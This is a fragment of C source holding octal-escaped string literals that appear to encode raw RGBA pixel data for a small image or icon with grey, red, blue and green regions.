"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\316"
"\316\316\377\223\223\223\377MMM\377\017\017\017\377\000\000\000\377\000\000\000\377\000\000"
"\000\377\000\000)\377\000\000\177\377\000\000\324\377\000\000\377\377\000\000Q\377\000\000\000\377{{"
"{\377\322\322\322\377\322\322\322\377\322\322\322\377\313\313\313\377\220"
"\220\220\377JJJ\377\013\013\013\377\000\000\000\377\000\000\000\377EEE\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\217\217"
"\217\377ppp\377\203\202\202\377\234\230\230\377\234\230\230\377\234\230\230"
"\377\234\230\230\377\234\230\230\377\227\224\224\377ppp\377ppp\344ppp\377"
"ppp\377\234\230\230\377\234\230\230\377\234\230\230\377\234\230\230\377\234"
"\230\230\377\234\230\230\377}||\377ppp\377\231\231\231\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"DDD\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000"
"\377\032\000\000\377\255\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377"
"\377\000\000\377\377\000\000\377\217\000\000\377\000\000\000\377\020\017\017\377HHH\377\000\000\000"
"\377\212\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000"
"\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000"
"\377\377\000\000\377\064\000\000\377\000\000\000\377\247\247\247\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\245\245\245\377\025\025\025\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000\035\377"
"\000\000r\377\000\000\310\377\000\000\376\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000"
"\241\377\000\000\000\377\071\071\071\377\313\313\313\377\220\220\220\377JJJ\377\012"
"\012\013\377\000\000\000\377\000\000\000\377\000\000\001\377\000\000\070\377\000\000\001\377\011\011\011\377"
"\312\312\312\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\217\217\217\377ppp\377\203\202\202\377\234\230\230\377\234\230\230"
"\377\234\230\230\377\234\230\230\377\234\230\230\377\227\224\224\377ppp\377"
"ppp\345ppp\377ppp\377\234\230\230\377\234\230\230\377\234\230\230\377\234"
"\230\230\377\234\230\230\377\234\230\230\377}||\377ppp\377\231\231\231\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\274\274\274\377\003\003\003\377\007\000\000\377\211\000\000\377\030\000\000\377\000\000\000\377\000\000"
"\000\377\000\000\000\377\000\000\000\377\000\000\000\377\003\000\000\377\351\000\000\377\377\000\000\377\377"
"\000\000\377\377\000\000\377\377\000\000\377\341\000\000\377\013\000\000\377\000\000\000\377\223\223"
"\223\377```\377\000\000\000\377\212\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377"
"\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377"
"\377\000\000\377\377\000\000\377\377\000\000\377\065\000\000\377\000\000\000\377\246\246\246\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377nnn\377\000\000\000\377\000\000\021\377\000\000o\377\000\000\305\377"
"\000\000\376\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377"
"\000\000\377\377\000\000\356\377\000\000\004\377\001\001\001\377\011\011\012\377\000\000\000\377\000\000\000"
"\377\000\000\000\377\000\000\065\377\000\000\214\377\000\000\342\377\000\000\377\377\000\000\070\377"
"\000\000\000\377\216\216\216\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\217\217\217\377ppp\377\203\202\202\377\234\230\230\377\234"
"\230\230\377\234\230\230\377\234\230\230\377\234\230\230\377\227\224\224"
"\377ppp\377ppp\345ppp\377ppp\377\234\230\230\377\234\230\230\377\234\230"
"\230\377\234\230\230\377\234\230\230\377\234\230\230\377}||\377ppp\377\231"
"\231\231\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377iii\377\000\000\000\377[\000\000\377\377\000\000\377\365\000\000\377\211\000\000\377"
"\023\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\320\000\000\377\377\000\000\377"
"\377\000\000\377\377\000\000\377\377\000\000\377N\000\000\377\000\000\000\377GGG\377\322\322\322"
"\377```\377\000\000\000\377\212\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377"
"\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377"
"\000\000\377\377\000\000\377\377\000\000\377\065\000\000\377\000\000\000\377\246\246\246\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\303\303\303\377qqq\377TTT\377TTT\377TTT\377TTT\377T"
"TT\377TTT\377TTT\377TTT\377TTT\377TTT\377TTT\377TTT\377TTT\377TTT\377TTT"
"\377TTT\377TTT\377TTT\377TTT\377TTT\377TTT\377TTT\377TTT\377TTT\377TTT\377"
"TTT\377TTT\377TTT\377TTT\377TTT\377TTT\377TTT\377TTT\377TTT\377AAA\377\000"
"\000\000\377\000\000!\377\000\000\377\377\000\000\377\377\000\000\302\377\000\000J\377\000\000W\377\000"
"\000\325\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000!\377\000\000\000"
"\377\000\000\000\377\000\000\060\377\000\000\206\377\000\000\335\377\000\000\377\377\000\000\377\377"
"\000\000\377\377\000\000\377\377\000\000\214\377\000\000\000\377KKK\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\217\217\217\377ppp\377\203\202"
"\202\377\234\230\230\377\234\230\230\377\234\230\230\377\234\230\230\377"
"\234\230\230\377\227\224\224\377ppp\377ppp\345ppp\377ppp\377\234\230\230"
"\377\234\230\230\377\234\230\230\377\234\230\230\377\234\230\230\377\234"
"\230\230\377}||\377ppp\377\231\231\231\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\320\320\320\377\026\026\026\377\000\000\000\377\303\000\000\377"
"\377\000\000\377\377\000\000\377\377\000\000\377\361\000\000\377\177\000\000\377\016\000\000\377\000"
"\000\000\377V\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\302\000\000"
"\377\000\000\000\377\014\014\014\377\275\275\275\377\322\322\322\377```\377\000\000\000"
"\377\212\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000"
"\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000"
"\377\377\000\000\377\065\000\000\377\000\000\000\377\246\246\246\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\300\300\300\377bbb\377\013\013"
"\013\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000"
"\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377"
"\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\000"
"\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000"
"\000\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000"
"\377\000\000\000\377\000\000\000\377\000\000\314\377\000\000\336\377\000\000\011\377\000\000\000\377\000\000"
"\000\377\000\000\026\377\000\000\361\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000g\377"
"\000\000\000\377\000\000:\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377"
"\377\000\000\377\377\000\000\377\377\000\000\337\377\000\000\001\377\014\014\014\377\314\314\314"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\217\217\217\377ppp\377"
"\203\202\202\377\234\230\230\377\234\230\230\377\234\230\230\377\234\230"
"\230\377\234\230\230\377\227\224\224\377ppp\377ppp\345ppp\377ppp\377\234"
"\230\230\377\234\230\230\377\234\230\230\377\234\230\230\377\234\230\230"
"\377\234\230\230\377}||\377ppp\377\231\231\231\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\246\246\246\377\000\000\000\377\036\000\000\377\377"
"\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377"
"\000\000\377\361\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377"
"\000\000\377D\000\000\377\000\000\000\377lll\377\322\322\322\377\322\322\322\377```\377"
"\000\000\000\377\212\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377"
"\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377"
"\000\000\377\377\000\000\377\066\000\000\377\000\000\000\377\246\246\246\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\275\275\275\377\\\\\\\377\010\010\010\377\000\000\000\377\000\000\000\377"
"\000H\000\377\000\230\000\377\000\231\000\377\000\231\000\377\000\231\000\377\000\231\000\377\000\231"
"\000\377\000\231\000\377\000\231\000\377\000\231\000\377\000\231\000\377\000\231\000\377\000\231"
"\000\377\000\231\000\377\000\231\000\377\000\231\000\377\000\231\000\377\000\231\000\377\000\231"
"\000\377\000\231\000\377\000\231\000\377\000\231\000\377\000\231\000\377\000\231\000\377\000\231"
"\000\377\000\231\000\377\000\231\000\377\000\231\000\377\000\231\000\377\000\231\000\377\000\231"
"\000\377\000\231\000\377\000\231\000\377\000\231\000\377\000\231\000\377\000\231\000\377\000!\000\377"
"\000\000\000\377\000\000y\377\000\000\234\377\000\000\000\377\066\066\066\377###\377\000\000\000\377\000"
"\000\273\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\337\377\000\000\000\377\000\000"
"\003\377\000\000\347\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\374"
"\377\000\000\276\377\000\000i\377\000\000\005\377\000\000\000\377\237\237\237\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\217\217\217\377ppp\377\203\202\202\377"
"\234\230\230\377\234\230\230\377\234\230\230\377\234\230\230\377\234\230"
"\230\377\230\224\224\377ppp\377ppp\346ppp\377ppp\377\234\230\230\377\234"
"\230\230\377\234\230\230\377\234\230\230\377\234\230\230\377\234\230\230"
"\377}||\377ppp\377\232\232\232\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377jjj\377\000\000\000\377h\000\000\377\377\000\000\377\377\000\000\377\377\000"
"\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000"
"\000\377\377\000\000\377\377\000\000\377\377\000\000\377\311\000\000\377\000\000\000\377\016\016\016"
"\377\306\306\306\377\322\322\322\377\322\322\322\377```\377\000\000\000\377\212"
"\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377"
"\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377"
"\000\000\377\066\000\000\377\000\000\000\377\246\246\246\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\261\261\261\377MMM\377\004\004\004"
"\377\000\000\000\377\000\004\000\377\000]\000\377\000\324\000\377\000\377\000\377\000\377\000\377\000\377"
"\000\377\000\377\000\377\000\377\000\377\000\377\000\377\000\377\000\377\000\377\000\377\000\377"
"\000\377\000\377\000\377\000\377\000\377\000\377\000\377\000\377\000\377\000\377\000\377\000\377"
"\000\377\000\377\000\377\000\377\000\377\000\377\000\377\000\377\000\377\000\377\000\377\000\377"
"\000\377\000\377\000\377\000\377\000\377\000\377\000\377\000\377\000\377\000\377\000\377\000\377"
"\000\377\000\377\000\377\000\377\000\377\000\377\000\377\000\377\000\377\000\377\000\377\000\377"
"\000\377\000\377\000\377\000\377\000\377\000\377\000\377\000\224\000\377\000\000\000\377\000\000&\377"
"\000\000\303\377\000\000\000\377\002\002\002\377\000\000\000\377\000\000\004\377\000\000\340\377\000\000\377"
"\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\024\377\000\000\000\377\000\000\226\377"
"\000\000\377\377\000\000\374\377\000\000\276\377\000\000i\377\000\000\027\377\000\000\000\377\000\000\000"
"\377\000\000\000\377---\377\301\301\301\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\217\217\217\377ppp\377\203\202\202\377\234\230\230\377\234\230"
"\230\377\234\230\230\377\234\230\230\377\234\230\230\377\230\224\224\377"
"ppp\377ppp\346ppp\377ppp\377\234\230\230\377\234\230\230\377\234\230\230"
"\377\234\230\230\377\234\230\230\377\234\230\230\377}||\377ppp\377\232\232"
"\232\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377///\377\000"
"\000\000\377\261\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377"
"\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377"
"\000\000\377\377\000\000\377c\000\000\377\000\000\000\377bbb\377\322\322\322\377\322\322\322"
"\377\322\322\322\377```\377\000\000\000\377\212\000\000\377\377\000\000\377\377\000\000\377"
"\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377"
"\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\067\000\000\377\000\000\000\377\245"
"\245\245\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\264\264\264\377QQQ\377"
"\004\004\004\377\000\000\000\377\000\000\000\377\000\065\000\377\000\257\000\377\000\335\000\377\000\335\000"
"\377\000\335\000\377\000\335\000\377\000\335\000\377\000\335\000\377\000\335\000\377\000\335\000"
"\377\000\335\000\377\000\335\000\377\000\335\000\377\000\335\000\377\000\335\000\377\000\335\000"
"\377\000\335\000\377\000\335\000\377\000\335\000\377\000\335\000\377\000\335\000\377\000\335\000"
"\377\000\335\000\377\000\335\000\377\000\335\000\377\000\335\000\377\000\335\000\377\000\335\000"
"\377\000\335\000\377\000\335\000\377\000\335\000\377\000\335\000\377\000\335\000\377\000\335\000"
"\377\000\335\000\377\000\335\000\377\000\335\000\377\000\335\000\377\000\335\000\377\000\335\000"
"\377\000\330\000\377\000\002\000\377\000\000\000\377\000\000\322\377\000\000z\377\000\000\005\377\000\000\020"
"\377\000\000\231\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377"
"\377\000\000_\377\000\000\000\377\000\000\063\377\000\000i\377\000\000\027\377\000\000\000\377\000\000\000\377"
"\000\000\000\377&&&\377lll\377\262\262\262\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\217\217\217\377ppp\377\203"
"\202\202\377\234\230\230\377\234\230\230\377\234\230\230\377\234\230\230"
"\377\234\230\230\377\230\224\224\377ppp\377ppp\346ppp\377ppp\377\234\230"
"\230\377\234\230\230\377\234\230\230\377\234\230\230\377\234\230\230\377"
"\234\230\230\377}||\377ppp\377\232\232\232\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\300\300\300\377\002\002\002\377\011\000\000\377\366\000\000\377\377\000\000\377"
"\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377"
"\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\357\000\000\377\011\000\000\377\002"
"\002\002\377\267\267\267\377\322\322\322\377\322\322\322\377\322\322\322\377"
"```\377\000\000\000\377\212\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000"
"\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000"
"\377\377\000\000\377\377\000\000\377\067\000\000\377\000\000\000\377\245\245\245\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\260\260\260\377\006\006\006\377\000\000\000\377\000\000\000\377\000\000\000\377"
"\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\000"
"\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000"
"\000\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000"
"\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377"
"\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\000"
"\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000"
"\000\377\000\000\177\377\000\000\377\377\000\000\373\377\000\000\374\377\000\000\377\377\000\000\377"
"\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\327\377\000\000\000\377"
"\000\000\000\377\000\000\000\377\000\000\000\377&&&\377lll\377\262\262\262\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\217\217\217\377ppp\377\203\202"
"\202\377\234\230\230\377\234\230\230\377\234\230\230\377\234\230\230\377"
"\234\230\230\377\230\224\224\377ppp\377ppp\346ppp\377ppp\377\234\230\230"
"\377\234\230\230\377\234\230\230\377\234\230\230\377\234\230\230\377\234"
"\230\230\377}||\377ppp\377\232\232\232\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\217\217\217\377\000\000\000\377D\000\000\377\377\000\000\377\377\000\000\377\377\000"
"\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000"
"\000\377\377\000\000\377\377\000\000\377\377\000\000\377\246\000\000\377\000\000\000\377\063\063\063"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377```\377"
"\000\000\000\377\212\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377"
"\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377"
"\000\000\377\377\000\000\377\070\000\000\377\000\000\000\377\244\244\244\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\262\262\262\377'''\377\034\034\034\377\034\034\034\377\034\034\034\377\034"
"\034\034\377\034\034\034\377\034\034\034\377\034\034\034\377\034\034\034\377\034\034\034\377"
"\034\034\034\377\034\034\034\377\034\034\034\377\034\034\034\377\034\034\034\377\034\034\034"
"\377\034\034\034\377\034\034\034\377\034\034\034\377\034\034\034\377\034\034\034\377\034"
"\034\034\377\034\034\034\377\034\034\034\377\034\034\034\377\034\034\034\377\034\034\034\377"
"\034\034\034\377\034\034\034\377\034\034\034\377\034\034\034\377\034\034\034\377\034\034\034"
"\377\034\034\034\377\034\034\034\377\034\034\034\377\034\034\034\377\034\034\034\377\034"
"\034\034\377\034\034\034\377\034\034\034\377\034\034\034\377\034\034\034\377\034\034\034\377"
"\034\034\034\377\034\034\034\377\025\025\025\377\000\000\000\377\000\000&\377\000\000\377\377\000"
"\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000"
"\000\377\377\000\000\377\377\000\000\377\377\000\000\037\377\000\000\000\377FFF\377\262\262\262"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\217\217\217\377ppp\377\203\202\202\377"
"\234\230\230\377\234\230\230\377\234\230\230\377\234\230\230\377\234\230"
"\230\377\230\225\225\377ppp\377ooo\347ppp\377ppp\377\234\230\230\377\234"
"\230\230\377\234\230\230\377\234\230\230\377\234\230\230\377\234\230\230"
"\377}||\377ppp\377\232\232\232\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"iii\377\000\000\000\377x\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377"
"\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377"
"\377\000\000\377\377\000\000\377_\000\000\377\000\000\000\377uuu\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377```\377\000\000\000\377\212\000\000\377\377"
"\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377"
"\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\070\000"
"\000\377\000\000\000\377\244\244\244\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\317\317\317\377\020\020\020\377\000\000\000\377\000\000\327\377\000\000\377"
"\377\000\000\335\377\000\000I\377\000\000\040\377\000\000w\377\000\000\375\377\000\000\377\377\000\000"
"\377\377\000\000\377\377\000\000\216\377\000\000\000\377FFF\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\217\217\217\377ppp\377\203\202\202\377\234\230\230"
"\377\234\230\230\377\234\230\230\377\234\230\230\377\234\230\230\377\230"
"\225\225\377ppp\377ooo\347ppp\377ppp\377\234\230\230\377\234\230\230\377"
"\234\230\230\377\234\230\230\377\234\230\230\377\234\230\230\377}||\377p"
"pp\377\232\232\232\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377FFF\377\000\000\000"
"\377\243\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000"
"\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000"
"\377\376\000\000\377\032\000\000\377\000\000\000\377\255\255\255\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377```\377\000\000\000\377\212\000\000\377"
"\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377"
"\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377\377\000\000\377"
"\070\000\000\377\000\000\000\377\244\244\244\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322"
"\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322"
"\377\322\322\322\377\321\321\321\377\062\062\062\377\000\000\000\377\000\000\204\377\000"
"\000\377\377\000\000\066\377\000\000\000\377\000\000\000\377\000\000\000\377\000\000\225\377\000\000\377\377"
"\000\000\377\377\000\000\377\377\000\000\340\377\000\000\001\377\011\011\011\377\313\313\313\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
